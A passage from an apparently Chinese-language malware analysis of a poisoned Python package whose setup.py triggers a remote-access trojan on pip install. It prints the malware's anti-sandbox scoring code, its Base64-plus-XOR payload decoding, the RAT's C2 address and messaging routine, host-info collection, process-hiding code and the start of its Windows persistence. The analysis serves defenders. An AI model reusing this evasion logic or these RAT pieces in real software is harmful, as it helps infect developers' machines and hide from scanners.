Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">validate_schema</span></code><span leaf=""> 等功能性代码，以增强迷惑性。</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">所有恶意逻辑均集中于 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf=""> 中</span></strong><span leaf="">，在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pip install</span></code><span leaf=""> 执行 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf=""> 时自动触发。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">2. 恶意行为概览</span></h1><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">setup.py</span></code><br/><code><span leaf="">├── _check()      — 反沙箱/反分析环境检测，计算置信分</span></code><br/><code><span leaf="">└── _install()    — 主攻击函数（置信分 ≥ 6 时触发）</span></code><br/><code><span leaf="">├── 解码混淆载荷（Base64 + XOR，密钥 0x5A）</span></code><br/><code><span leaf="">├── Windows  — 落地 .pyw、计划任务、注册表 Run 键</span></code><br/><code><span leaf="">├── macOS    — 落地 .py、LaunchAgent、.zshrc 注入、crontab</span></code><br/><code><span leaf="">└── Linux    — 落地 .py、systemd 服务、crontab、SSH 公钥注入（root）</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">解码后的载荷是一个完整的 RAT Agent，连接 C2 服务器 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">77[.]246.103.245:443</span></code><span leaf="">（SSL 加密），上报系统信息并等待远程指令。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">3. 反沙箱检测（</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_check</span></code><span leaf=""> 函数）</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击者在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_install</span></code><span leaf=""> 执行前通过 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_check()</span></code><span leaf=""> 对当前环境进行全面评估，计算一个”置信分”（</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_s</span></code><span leaf="">），仅当分数 ≥ 6 时才执行后续攻击。这一机制有效规避了自动化沙箱、CI/CD 扫描器和容器环境的分析。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.1 容器与 CI 检测</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__comment"># ── Container detection ──</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> _sys == <span class="code-snippet__string">&#34;Linux&#34;</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> _p <span class="code-snippet__keyword">in</span> [<span class="code-snippet__string">&#34;/.dockerenv&#34;</span>, <span class="code-snippet__string">&#34;/run/.containerenv&#34;</span>]:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> os.path.exists(_p): _s -= <span class="code-snippet__number">5</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">with</span> <span class="code-snippet__built_in">open</span>(<span class="code-snippet__string">&#34;/proc/1/cgroup&#34;</span>) <span class="code-snippet__keyword">as</span> _f:</span></code><br/><code><span leaf="">_cg = _f.read()</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__built_in">any</span>(_k <span class="code-snippet__keyword">in</span> _cg <span class="code-snippet__keyword">for</span> _k <span class="code-snippet__keyword">in</span> [<span class="code-snippet__string">&#34;docker&#34;</span>, <span class="code-snippet__string">&#34;lxc&#34;</span>, <span class="code-snippet__string">&#34;kubepods&#34;</span>]): _s -= <span class="code-snippet__number">5</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">except</span>: <span class="code-snippet__keyword">pass</span></span></code><br/><code><span leaf="">_hn = platform.node().lower()</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> _b <span class="code-snippet__keyword">in</span> [<span class="code-snippet__string">&#34;sandbox&#34;</span>, <span class="code-snippet__string">&#34;scan&#34;</span>, <span class="code-snippet__string">&#34;test&#34;</span>, <span class="code-snippet__string">&#34;build&#34;</span>, <span class="code-snippet__string">&#34;runner&#34;</span>, <span class="code-snippet__string">&#34;ci-&#34;</span>, <span class="code-snippet__string">&#34;worker&#34;</span>, <span class="code-snippet__string">&#34;job-&#34;</span>, <span class="code-snippet__string">&#34;temp&#34;</span>]:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> _b <span class="code-snippet__keyword">in</span> _hn: _s -= <span class="code-snippet__number">3</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> os.environ.get(<span class="code-snippet__string">&#34;CI&#34;</span>) <span class="code-snippet__keyword">or</span> os.environ.get(<span class="code-snippet__string">&#34;GITHUB_ACTIONS&#34;</span>) <span class="code-snippet__keyword">or</span> os.environ.get(<span class="code-snippet__string">&#34;JENKINS_URL&#34;</span>):</span></code><br/><code><span leaf="">_s -= <span class="code-snippet__number">5</span></span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">每检测到容器特征或 CI 环境变量，置信分减 3～5 分，直接将沙箱环境的分数压至触发阈值以下。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.2 硬件与系统活跃度检测</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__comment"># ── Hardware ──</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> os.cpu_count() and os.cpu_count() &gt; <span class="code-snippet__number">2</span>: _s += <span class="code-snippet__number">2</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 系统运行时长检测（Linux/macOS/Windows 三路分支）</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> _up &gt; <span class="code-snippet__number">3600</span>: _s += <span class="code-snippet__number">1</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> _up &lt; <span class="code-snippet__number">300</span>: _s -= <span class="code-snippet__number">3</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># ── User activity ──</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 浏览器目录存在性检测（Chrome/Firefox/Safari/Edge）</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> any(os.path.isdir(_b) for _b in _bps): _s += <span class="code-snippet__number">2</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Shell 历史记录大小检测</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> os.path.exists(_hf) and os.path.getsize(_hf) &gt; <span class="code-snippet__number">2000</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">_s</span> += <span class="code-snippet__number">2</span>; break</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">elif</span> os.path.exists(_hf) and os.path.getsize(_hf) &gt; <span class="code-snippet__number">500</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">_s</span> += <span class="code-snippet__number">1</span>; break</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Desktop/Downloads 文件数量检测</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> _cnt &gt; <span class="code-snippet__number">10</span>: _s += <span class="code-snippet__number">2</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">elif</span> _cnt &gt; <span class="code-snippet__number">3</span>: _s += <span class="code-snippet__number">1</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># .gitconfig 和 SSH known_hosts 检测</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> os.path.exists(os.path.join(_home, <span class="code-snippet__string">&#34;.gitconfig&#34;</span>)): _s += <span class="code-snippet__number">1</span></span></code><br/></pre></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">3.3 云元数据服务检测</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__comment"># ── Cloud metadata ──</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> urllib.request</span></code><br/><code><span leaf="">urllib.request.urlopen(<span class="code-snippet__string">&#34;http[:]//169.254.169.254/latest/meta-data/&#34;</span>, timeout=<span class="code-snippet__number">1</span>)</span></code><br/><code><span leaf="">_s -= <span class="code-snippet__number">3</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">except</span>: <span class="code-snippet__keyword">pass</span></span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">尝试访问 AWS 实例元数据服务地址（</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">169[.]254.169.254</span></code><span leaf="">），若可达则判断当前环境为云主机/虚拟机，置信分减 3。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">4. 混淆载荷解密</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_install</span></code><span leaf=""> 函数中内嵌了一段经 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">Base64 编码 + XOR 加密</span></strong><span leaf="">（密钥 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">0x5A</span></code><span leaf="">）的载荷字符串 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_E</span></code><span leaf="">，通过如下方式解密：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">_E</span> = <span class="code-snippet__string">&#34;UDM3KjUoLnopNTk...&#34;</span> <span class="code-snippet__comment"># 省略，实际长度约 5KB</span></span></code><br/><code><span leaf=""><span class="code-snippet__attr">_K</span> = <span class="code-snippet__number">0</span>x5A</span></code><br/><code><span leaf=""><span class="code-snippet__attr">_d</span> = bytes([b ^ _K for b in base64.b64decode(_E)])</span></code><br/><code><span leaf=""><span class="code-snippet__attr">_code</span> = _d.decode()</span></code><br/></pre></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">5. RAT 载荷分析</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">解密后的载荷实现了一个完整的远控代理（RAT Agent），核心功能如下：</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5.1 C2 通信</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf="">H=<span class="code-snippet__string">&#34;77.246.103.245&#34;</span></span></code><br/><code><span leaf="">P=<span class="code-snippet__number">443</span></span></code><br/><code><span leaf="">HB=<span class="code-snippet__number">15</span> <span class="code-snippet__comment"># 心跳间隔（秒）</span></span></code><br/><code><span leaf="">RB=<span class="code-snippet__number">5</span> <span class="code-snippet__comment"># 初始重连等待（秒）</span></span></code><br/><code><span leaf="">RM=<span class="code-snippet__number">120</span> <span class="code-snippet__comment"># 最大重连等待（秒）</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">sm</span>(<span class="code-snippet__params">s,m</span>):</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 发送消息：4字节大端长度头 + JSON 数据体</span></span></code><br/><code><span leaf="">d=json.dumps(m).encode()</span></code><br/><code><span leaf="">s.sendall(struct.pack(<span class="code-snippet__string">&#39;&gt;I&#39;</span>,<span class="code-snippet__built_in">len</span>(d))+d)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">rm</span>(<span class="code-snippet__params">s,t=</span><span class="code-snippet__params"><span class="code-snippet__number">45</span></span>):</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 接收消息：读取4字节长度头，再读取消息体（最大 10MB）</span></span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">return</span> json.loads(d)</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">代理连接固定 C2 地址 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">77.246.103.245:443</span></code><span leaf="">，使用 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">SSL/TLS 加密</span></strong><span leaf="">通信，通过自定义的长度前缀 JSON 协议收发指令，心跳间隔 15 秒，断线后指数退避重连（最长 120 秒）。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5.2 主机信息收集与上报</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">gi</span>():</span></code><br/><code><span leaf="">i={<span class="code-snippet__string">&#34;hostname&#34;</span>:<span class="code-snippet__string">&#34;?&#34;</span>,<span class="code-snippet__string">&#34;username&#34;</span>:<span class="code-snippet__string">&#34;?&#34;</span>,<span class="code-snippet__string">&#34;os_type&#34;</span>:<span class="code-snippet__string">&#34;?&#34;</span>,<span class="code-snippet__string">&#34;os_info&#34;</span>:<span class="code-snippet__string">&#34;&#34;</span>,<span class="code-snippet__string">&#34;pid&#34;</span>:os.getpid()}</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span>:i[<span class="code-snippet__string">&#34;hostname&#34;</span>]=platform.node()</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">except</span>:<span class="code-snippet__keyword">pass</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span>:i[<span class="code-snippet__string">&#34;username&#34;</span>]=os.environ.get(<span class="code-snippet__string">&#34;USER&#34;</span>,os.environ.get(<span class="code-snippet__string">&#34;USERNAME&#34;</span>,<span class="code-snippet__string">&#34;?&#34;</span>))</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">except</span>:<span class="code-snippet__keyword">pass</span></span></code><br/><code><span leaf="">...</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">上线后首先上报主机名、用户名、操作系统类型及版本、当前进程 PID 等基础信息。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5.3 进程隐藏</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__comment"># Windows：隐藏控制台窗口</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> platform.system()==<span class="code-snippet__string">&#34;Windows&#34;</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">import</span> ctypes</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">w</span>=ctypes.windll.kernel32.GetConsoleWindow()</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> w:ctypes.windll.user32.ShowWindow(w,<span class="code-snippet__number">0</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">ctypes</span>.windll.kernel32.FreeConsole()</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Linux/macOS：双 fork 守护进程化</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">else</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> os.fork()&gt;<span class="code-snippet__number">0</span>:sys.exit(<span class="code-snippet__number">0</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">os</span>.setsid()</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> os.fork()&gt;<span class="code-snippet__number">0</span>:sys.exit(<span class="code-snippet__number">0</span>)</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">在 Windows 上通过 Win32 API 隐藏控制台窗口并释放控制台；在 Unix 系统上通过经典的”双重 fork”技术使进程成为孤儿守护进程，脱离终端。</span></p><hr style="box-sizing: content-box;height: 0px;width: 780px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6. 多平台持久化</span></h1><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.1 Windows</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="swift"><code><span leaf=""># 落地路径：<span class="code-snippet__operator">%</span><span class="code-snippet__type">LOCALAPPDATA</span><span class="code-snippet__operator">%</span>\<span class="code-snippet__type">Microsoft</span>\<span class="code-snippet__type">Windows</span>\<span class="code-snippet__type">INetCache</span>\<span class="code-snippet__type">IE</span>\msedge_update.pyw</span></code><br/><code><span leaf="">_dir <span class="code-snippet__operator">=</span> os.path.join(os.environ.get(<span class="code-snippet__string">&#34;LOCALAPPDATA&#34;</span>,<span class="code-snippet__string">&#34;C:</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Users</span><span class="code-snippet__string"><span 